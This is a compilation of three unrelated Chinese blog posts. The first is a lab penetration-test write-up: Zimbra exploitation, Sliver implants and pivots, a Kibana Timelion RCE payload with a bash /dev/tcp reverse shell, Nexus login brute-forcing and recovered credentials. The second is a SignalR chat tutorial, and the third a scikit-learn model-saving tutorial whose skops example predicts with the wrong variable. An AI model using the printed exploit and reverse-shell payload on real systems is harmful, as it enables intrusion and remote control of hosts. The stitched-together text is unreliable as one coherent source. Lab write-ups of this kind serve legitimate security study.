2024年2月

网络拓扑

host ip1 ip2
ubuntu(自用) 192.168.130.14 /
centos 192.168.130.3 10.0.10.2
ubuntu1 10.0.10.3
10.0.20.2
ubuntu2 10.0.20.3 /

信息收集

开放了很多端口,优先从web入手。

image

fscan 过一遍网站指纹,发现可能可以利用xxe。

image

zimbra cmk​​

去看443端口是一个名为
zimbra
​的cms。

image

在msf中搜到有可以利用的模块设置好参数run,稳定的情况下直接获得一个shell。

image

上线sliver

sliver生成配置文件,待会生成beacon,session一断开就无了。

profiles new beacon --mtls 192.168.130.14 --os linux --format elf --skip-symbols --seconds 5 --jitter 3 linux-beacon


image

开启web服务后下载生成的马子,赋权运行上线。

image


interactive
​派生一个新的session会话,可以看到还有第二个子网。

image

提权

尝试一下提权,traitor来提权,提示可以使用
CVE-2022-0847
​。

image

但是失败了,此路不通。

image

传searchall上来搜搜有没有root的密码,将导出的结果下载下来,全局搜索可以找到类似登录的凭据
root:vulntarget-f
​,可以成功登录上。

image

内网横向

一层代理

没提权也不影响,先挂起代理,
/etc/proxychains.conf
​中添加一行
socks5 127.0.0.1 1081
​。

image

上fscan直接扫,-hn过滤掉当前的机器和自己的物理机,发现了
10.0.10.3
​这个机器,似乎有未授权可以利用。

image

看看9200这个端口,有一些json数据。不过目前用起来sliver的代理还是很稳定的,比msf好多了,但是说回来没有什么特别的利用点。

image

再次进行端口扫描,这次指定一下从21开始到最大65535来扫就不会错过重要的,就发现了5601这个端口。

image

kibana rce

访问5601,是个名为
kibana
​的后台管理。

image

确认版本号,与复现的环境一样存在漏洞。

image

漏洞在
timelion
​这里,填入exp:

.es().props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.0.10.2/6666 0>&1\'");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

因为这台机器不出网,所以在外网cento os上
nc -lvvp 6666
​建立监听,之后再访问
canvas
​,过一会就会获得到shell了。这个很稳定断开了再开机监听还是会会连获得shell。

image

转发上线

为了更稳定的控制决定转移到sliver上继续操作。因为这台机器不出网,所以在外网机器的session中开启
pivots
​建立中转,指定参数
--tcp-pivot
​同时生成implant。

(UNAWARE_SPECIALIST) » pivots tcp --bind 10.0.10.2

[*] Started tcp pivot listener 10.0.10.2:9898 with id 1

 (UNAWARE_SPECIALIST) » pivots

 ID   Protocol   Bind Address     Number Of Pivots 
==<span style="font-weight: bold;" class="mark"> </span>======<span style="font-weight: bold;" class="mark"> </span>============<span style="font-weight: bold;" class="mark"> </span>================
  1   TCP        10.0.10.2:9898                  0 

 (UNAWARE_SPECIALIST) » generate beacon --tcp-pivot 10.0.10.2:9898 --os linux --format elf --skip-symbols 

[*] Generating new linux/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 13s
[*] Implant saved to /home/lockly/karplin/CHIEF_PENALTY

 (UNAWARE_SPECIALIST) » 

在外网的cento os上用python开起web服务(注意他是python2),但是当前的目录权限不足,迁移到
/tmp
​目录下下载。

image

下载成功之后赋权执行没有反应,
官网
上说仅仅支持
session
​,而我前面生成的时候指定了是beacon,去掉beacon重新生成,其他的和上面一样。

image

再次开启web服务,供内网机器10.0.10.3下载后赋权运行,获取到session会话。

image

提权

还是先尝试一下提权,传traitor上去执行,但还试了还是不行。

image

二层代理

无伤大雅,继续向内网横向,发现还存在一个网段。

 (ELEGANT_SEWER) » 
 (ELEGANT_SEWER) » ifconfig

+--------------------------------------+
| ens32                                |
+--------------------------------------+
| # | IP Addresses | MAC Address       |
+---+--------------+-------------------+
| 2 | 10.0.10.3/24 | 00:0c:29:f0:f4:ca |
+--------------------------------------+

+--------------------------------------+
| ens35                                |
+--------------------------------------+
| # | IP Addresses | MAC Address       |
+---+--------------+-------------------+
| 3 | 10.0.20.2/24 | 00:0c:29:f0:f4:d4 |
+--------------------------------------+
1 adapters not shown.

还是传fscan上去扫这个网段的存活主机和存在的服务,得到有一个
10.0.20.3
​机器。

image

再次对这台机器详细扫一下端口,结果还是这两个,8081这个站的标题为
Nexus Respository Manager
​。

image

浏览器挂上新开的代理:

image

继续访问这台机器的8081端口,这里加载就要很久。

image

登录爆破

加载完之后如下:没有可以利用的地点,去搜了一下利用的方式需要先登录。

image

尝试在登录的地方用burpsuite爆破一下。

image

使用凭据
admin:abcdef
​成功登录后台。

image

在gayhub搜索相关的利用脚本,用这个
脚本
一键拿下shell,直接就是root权限。不过这次挂上代理不太稳定,最好是关掉socks重新开一下。

image

在内网机器上再次创建tcp中转,生成implant,然后python开启web服务,不同于外网机器,这台机器中的环境是python3,要用
python -m http.server 8000
​。

generate --tcp-pivot 10.0.20.2:9898 --os linux --format elf --skip-symbols


image

至此三台机器全部上线,查找一下有没有flag。

image

flag如下:

image

SignalR牛刀小试

在MVP杨老师的博客里看到这么个东西,我还以为是NetCore3才推出的新玩意,原来是已经有很多年的历史了,那看来还是比较成熟的一个技术了。

简介

SignalR是一个.NET Core/.NET Framework的开源实时框架,SignalR的可使用Web Socket, Server Sent Events 和 Long Polling作为底层传输方式。

SignalR基于这三种技术构建,抽象于它们之上,它让你更好的关注业务问题而不是底层传输技术问题。

以上介绍来自博客,SignalR分为客户端和服务端,服务端运行在AspNetCore上,客户端支持前端、桌面端和移动端,我去查了一下,连Flutter也有相应的支持库。

几个概念

回落机制

SignalR支持三种底层传输技术,根据客户端的兼容性可以自动协商传输类型。如图

image

Web Socket是最好的最有效的传输方式,如果浏览器或Web服务器不支持它的话,就会降级使用SSE,实在不行就用Long Polling。

RPC

不用解释太多,Remote Procedure Call,SignalR采用RPC范式来进行服务端和客户端之间的通信。

Hub

Hub是SignalR的一个组件,运行在服务端,它是一个通信用的组件, Hub使用RPC接受从客户端发来的消息,也能把消息发送给客户端 。

image

关于横向扩展

SignalR针对多种底层通信方式有了
Sticky Sessions (粘性会话)
这种解决方案,可以保证一个客户端在一次会话中的请求都分配给同一个服务器,具体以后需要的时候再研究。

开始使用

我要做的是一个聊天室,所以只需要写一个简单的服务就可以了。

首先要创建AspNetCore项目,注册SignalR服务:

public void ConfigureServices(IServiceCollection services)
{
    services.AddControllers();
    services.AddSignalR();
}

创建
ChatService
类:

public class ChatService
{
    private readonly List<ChatMessage> _messages;
    private readonly IHubContext<ChatHub> _context;
    public List<ChatMessage> Messages { get => _messages; }
    public ChatService(IHubContext<ChatHub> context)
    {
        _context = context;
        _messages = new List<ChatMessage>();
    }
}

消息实体类:

public class ChatMessage
{
    public string UserName { get; set; }
    public string Content { get; set; }
    public DateTime SendedTime { get; set; }
    public string ClientName { get; set; }
}

关键的来了,编写Hub:

使用
SendAsync
可以进行远程调用

public class ChatHub : Hub {
    private readonly ChatService _chatService;
    public ChatHub(ChatService chatService) {
        _chatService = chatService;
    }
    public async Task GetMessages(string connectionId) {
        var data = _chatService.Messages;
        await Clients.Client(connectionId).
            SendAsync("GetMessages", data);
    }
    public async Task SendMessage(string userName, string content, string clientName) {
        var msg = new Models.ChatMessage {
            UserName = userName,
            Content = content,
            SendedTime = DateTime.Now,
            ClientName = clientName
        };
        _chatService.Messages.Add(msg);
        await Clients.All.SendAsync("SendMessage", msg);
    }
    public override Task OnConnectedAsync() {
        GetMessages(Context.ConnectionId);
        return base.OnConnectedAsync();
    }
}

注册依赖注入和中间件

依赖注入

public void ConfigureServices(IServiceCollection services)
{
    services.AddControllers();
    services.AddSignalR();
    services.AddSingleton<CountService>();
    services.AddSingleton<ChatService>();
}

中间件

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
    app.UseStaticFiles();
    app.UseRouting();
    app.UseEndpoints(endpoints =>{
        endpoints.MapControllers();
        endpoints.MapHub<ChatHub>("/chat");
    });
}

客户端

为了方便我就用网页来做。

首先写个简单的聊天界面布局,这里就不贴代码了没啥技术含量,效果大概这样:

image

首先要安装signalr.js,通过npm安装即可。

然后需要编写js:

function setupConnection() {
    connection = new signalR.HubConnectionBuilder()
        .withUrl("/chat")
        .build();

    connection.on("SendMessage", message => {
        console.log(message);
        addMsg(message.userName, message.sendedTimeStr, message.content, message.clientName);
    });

    connection.on("GetMessages", data => {
        console.log(data);
        for (var i = 0; i < data.length; i++) {
            let message = data[i];
            addMsg(message.userName, message.sendedTimeStr, message.content, message.clientName);
        }
    });

    connection.on("Finished", () => {
        connection.stop();
        console.log("finished.")
    });

    connection.start()
        .catch(err => console.error(err.toString()));
}

通过以下代码可以远程调用服务器的方法:

connection.invoke("SendMessage", username, content, '网页客户端');

然后就可以打开多个浏览器测试了。
这是我在手机上的截图

PS:为了把这个部署到服务器,我还买了个新的阿里云服务器。。

参考资料

欢迎交流

交流问题请在微信公众号后台留言,每一条信息我都会回复哈~

模型持久化
(模型保存与加载)是机器学习完成的最后一步。
因为,在实际情况中,训练一个模型可能会非常耗时,如果每次需要使用模型时都要重新训练,这无疑会浪费大量的计算资源和时间。

通过将训练好的模型持久化到磁盘,我们可以在需要使用模型时直接从磁盘加载到内存,而无需重新训练。这样不仅可以节省时间,还可以提高模型的使用效率。

本篇介绍
scikit-learn
中几种常用的模型持久化方法。

1. 训练模型

首先,训练一个模型,这里用
scikit-learn
自带的
手写数字数据集
作为样本。

import matplotlib.pyplot as plt
from sklearn import datasets

# 加载手写数据集
data = datasets.load_digits()

# 调整数据格式
n_samples = len(data.images)
X = data.images.reshape((n_samples, -1))
y = data.target

# 用支持向量机训练模型
from sklearn.svm import SVC

# 定义
reg = SVC()

# 训练模型
reg.fit(X, y)

最后的得到的
reg
就是我们训练之后的模型,使用这个模型,就可以预测一些手写数字图片。

但是这个
reg
是代码中的一个变量,如果不能保存下来,那么,每次需要使用的时候,
还要重新执行一次上面的模型训练代码,样本数据量大的话,每次重复训练会浪费大量时间和计算资源。

所以,要将上面的
reg
模型保存下来,下次使用的时候,直接加载,不用重新训练。

2. 模型持久化

2.1. pickle 序列化

pickle
格式是
python
中常用的序列化方式,它通过将
python对象
及其所拥有的层次结构转化为一个字节流来实现序列化。

将上面的模型保存到磁盘文件
model.pkl
中。

import pickle

with open("./model.pkl", "wb") as f:
    pickle.dump(reg, f)

需要使用模型时,从磁盘加载的方式:

with open("./model.pkl", "rb") as f:
    reg_pkl = pickle.load(f)

验证加载之后的模型
reg_pkl
是否可以正常使用。

y_pred = reg_pkl.predict(X)

from sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay

cm = confusion_matrix(y, y_pred)
g = ConfusionMatrixDisplay(confusion_matrix=cm)
g.plot()

plt.show()

image.png
从混淆矩阵来看,模型可以正常加载和使用。
关于混淆矩阵具体内容,可以参考:
【scikit-learn基础】--『分类模型评估』之评估报告

2.2. joblib 序列化

相比于
pickle
,保存机器学习模型时,更推荐使用
joblib

因为
joblib
针对大数据进行了优化,使其在处理大型数据集时性能更佳。

序列化的方式也很简单:

import joblib

joblib.dump(reg, "model.jlib")

从磁盘加载模型并验证:

reg_jlib = joblib.load("model.jlib")

y_pred = reg_jlib.predict(X)

from sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay

cm = confusion_matrix(y, y_pred)
g = ConfusionMatrixDisplay(confusion_matrix=cm)
g.plot()

plt.show()

image.png

2.3. skops 格式

skops是比较新的一种格式,它是专门为了共享基于
scikit-learn
的模型而开发的。
目前还在积极的开发中,github上的地址是:
github-skops

相比于
pickle

joblib
,它提供了更加安全的序列化格式,
但使用上和它们差别不大。

import skops.io as sio

# 保存到文件 model.sio
sio.dump(reg, "model.sio")

从文件中读取模型并验证:

reg_sio = sio.load("model.sio")

y_pred = reg_jlib.predict(X)

from sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay

cm = confusion_matrix(y, y_pred)
g = ConfusionMatrixDisplay(confusion_matrix=cm)
g.plot()

plt.show()

image.png

3. 总结


scikit-learn
中,模型持久化是一个重要且实用的技术,它允许我们将训练好的模型保存到磁盘上,以便在不同的时间点或不同的环境中重新加载和使用。
通过模型持久化,我们能够避免每次需要使用时重新训练模型,从而节省大量的时间和计算资源。

本篇介绍的三种方法可以方便的序列化和反序列化模型对象,使其可以轻松地保存到磁盘上,并能够在需要时恢复出原始模型对象。

总而言之,模型持久化不仅使得我们能够在不同的运行会话之间重用模型,还方便了模型的共享和部署。